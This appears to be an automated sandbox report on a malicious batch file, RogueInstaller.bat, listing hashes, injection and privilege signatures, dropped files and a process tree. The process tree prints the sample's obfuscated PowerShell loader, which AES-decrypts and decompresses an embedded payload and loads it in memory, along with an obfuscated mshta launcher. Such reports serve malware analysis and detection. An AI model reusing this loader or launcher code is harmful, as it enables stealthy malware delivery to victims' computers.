Analysis
-
max time kernel
26s -
max time network
71s -
platform
windows10-2004_x64 -
resource
win10v2004-20230915-en -
resource tags
arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system -
submitted
29/09/2023, 20:42
Static task
static1
Behavioral task
behavioral1
Sample
RogueInstaller.bat
Resource
win7-20230831-en
Behavioral task
behavioral2
Sample
RogueInstaller.bat
Resource
win10v2004-20230915-en
General
-
Target
RogueInstaller.bat
-
Size
12.6MB
-
MD5
974d3e325c69c0a37dbfc1fb21a13779
-
SHA1
c368f0543fb19df47a8246517a3c90f7231d8107
-
SHA256
3b912ca8121f9c09695d1e8a4727101e02ca27541d7478b58eceafcd8895f5eb
-
SHA512
2369bf507213fe199a394ea1d98a55859077675ad93d4754450f5e61d28a8fb3fc61f0027a6e1d15a1d6ca98423b9bf4c3079a4bc38a170e0af66c09f7c9b800
-
SSDEEP
49152:/WQNC0mqLoyuX/cQsUX+eTTn5gwZTQ83/a0XmZJM/j4UflCm3IEvdqmzcIY12ZCl:n
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 2968 created 612 2968 RogueInstaller.bat.exe 7 -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000\Control Panel\International\Geo\Nation $sxr-mshta.exe -
Executes dropped EXE 2 IoCs
pid Process 2968 RogueInstaller.bat.exe 3624 $sxr-mshta.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2968 set thread context of 4356 2968 RogueInstaller.bat.exe 97 PID 2968 set thread context of 3468 2968 RogueInstaller.bat.exe 98 -
Drops file in Windows directory 6 IoCs
description ioc Process File created C:\Windows\$sxr-powershell.exe RogueInstaller.bat.exe File opened for modification C:\Windows\$sxr-powershell.exe RogueInstaller.bat.exe File created C:\Windows\$sxr-mshta.exe RogueInstaller.bat.exe File opened for modification C:\Windows\$sxr-mshta.exe RogueInstaller.bat.exe File created C:\Windows\$sxr-cmd.exe RogueInstaller.bat.exe File opened for modification C:\Windows\$sxr-cmd.exe RogueInstaller.bat.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ $sxr-mshta.exe -
Suspicious behavior: EnumeratesProcesses 13 IoCs
pid Process 2968 RogueInstaller.bat.exe 2968 RogueInstaller.bat.exe 2968 RogueInstaller.bat.exe 4356 dllhost.exe 4356 dllhost.exe 4356 dllhost.exe 4356 dllhost.exe 3468 dllhost.exe 3468 dllhost.exe 3468 dllhost.exe 3468 dllhost.exe 2968 RogueInstaller.bat.exe 2968 RogueInstaller.bat.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 2968 RogueInstaller.bat.exe Token: SeDebugPrivilege 2968 RogueInstaller.bat.exe Token: SeDebugPrivilege 4356 dllhost.exe Token: SeDebugPrivilege 3468 dllhost.exe -
Suspicious use of WriteProcessMemory 18 IoCs
description pid Process procid_target PID 2024 wrote to memory of 2968 2024 cmd.exe 94 PID 2024 wrote to memory of 2968 2024 cmd.exe 94 PID 2968 wrote to memory of 4356 2968 RogueInstaller.bat.exe 97 PID 2968 wrote to memory of 4356 2968 RogueInstaller.bat.exe 97 PID 2968 wrote to memory of 4356 2968 RogueInstaller.bat.exe 97 PID 2968 wrote to memory of 4356 2968 RogueInstaller.bat.exe 97 PID 2968 wrote to memory of 4356 2968 RogueInstaller.bat.exe 97 PID 2968 wrote to memory of 4356 2968 RogueInstaller.bat.exe 97 PID 2968 wrote to memory of 4356 2968 RogueInstaller.bat.exe 97 PID 2968 wrote to memory of 3468 2968 RogueInstaller.bat.exe 98 PID 2968 wrote to memory of 3468 2968 RogueInstaller.bat.exe 98 PID 2968 wrote to memory of 3468 2968 RogueInstaller.bat.exe 98 PID 2968 wrote to memory of 3468 2968 RogueInstaller.bat.exe 98 PID 2968 wrote to memory of 3468 2968 RogueInstaller.bat.exe 98 PID 2968 wrote to memory of 3468 2968 RogueInstaller.bat.exe 98 PID 2968 wrote to memory of 3468 2968 RogueInstaller.bat.exe 98 PID 2968 wrote to memory of 3468 2968 RogueInstaller.bat.exe 98 PID 2968 wrote to memory of 3468 2968 RogueInstaller.bat.exe 98 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:612
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{61db3555-0ad2-4b4a-b492-d170d0b4a8ba}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4356
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\RogueInstaller.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2024 -
C:\Users\Admin\AppData\Local\Temp\RogueInstaller.bat.exe"RogueInstaller.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function SLQQG($jpejT){ $xebJZ=[System.Security.Cryptography.Aes]::Create(); $xebJZ.Mode=[System.Security.Cryptography.CipherMode]::CBC; $xebJZ.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $xebJZ.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('LfFa9xqs4536F7mxmQ+kHxVAFQg1Wcw3vUt+dlQZujk='); $xebJZ.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('imv8oDAGuV/n1jINlpOXIQ=='); $lBigD=$xebJZ.CreateDecryptor(); $return_var=$lBigD.TransformFinalBlock($jpejT, 0, $jpejT.Length); $lBigD.Dispose(); $xebJZ.Dispose(); $return_var;}function BVMaq($jpejT){ $kVmao=New-Object System.IO.MemoryStream(,$jpejT); $owGIg=New-Object System.IO.MemoryStream; $eVipJ=New-Object System.IO.Compression.GZipStream($kVmao, [IO.Compression.CompressionMode]::Decompress); $eVipJ.CopyTo($owGIg); $eVipJ.Dispose(); $kVmao.Dispose(); $owGIg.Dispose(); $owGIg.ToArray();}function ncnBw($jpejT,$cJltw){ $JXyVF=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$jpejT); $hYCbB=$JXyVF.EntryPoint; $hYCbB.Invoke($null, $cJltw);}$orNje=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\RogueInstaller.bat').Split([Environment]::NewLine);foreach ($arpEd in $orNje) { if ($arpEd.StartsWith('SEROXEN')) { $DSsWH=$arpEd.Substring(7); break; }}$mtkze=[string[]]$DSsWH.Split('\');$YswOe=BVMaq (SLQQG ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($mtkze[0])));$uJPSE=BVMaq (SLQQG ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($mtkze[1])));ncnBw $uJPSE (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));ncnBw $YswOe (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2968 -
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{b1c2f5c9-5934-49c8-a3dc-2a8068fef1d2}3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3468
-
-
-
C:\Windows\$sxr-mshta.exeC:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-WsoWPUdRfZwfvzOgYSFv4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"1⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
PID:3624 -
C:\Windows\$sxr-cmd.exe"C:\Windows\$sxr-cmd.exe" /c %$sxr-WsoWPUdRfZwfvzOgYSFv4312:&#<?=%2⤵PID:2172
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
-
Filesize
442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
283KB
MD58a2122e8162dbef04694b9c3e0b6cdee
SHA1f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA256b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
SHA51299e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397
-
Filesize
283KB
MD58a2122e8162dbef04694b9c3e0b6cdee
SHA1f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA256b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
SHA51299e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397
-
Filesize
14KB
MD50b4340ed812dc82ce636c00fa5c9bef2
SHA151c97ebe601ef079b16bcd87af827b0be5283d96
SHA256dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895
SHA512d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045
-
Filesize
14KB
MD50b4340ed812dc82ce636c00fa5c9bef2
SHA151c97ebe601ef079b16bcd87af827b0be5283d96
SHA256dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895
SHA512d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045
-
Filesize
442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b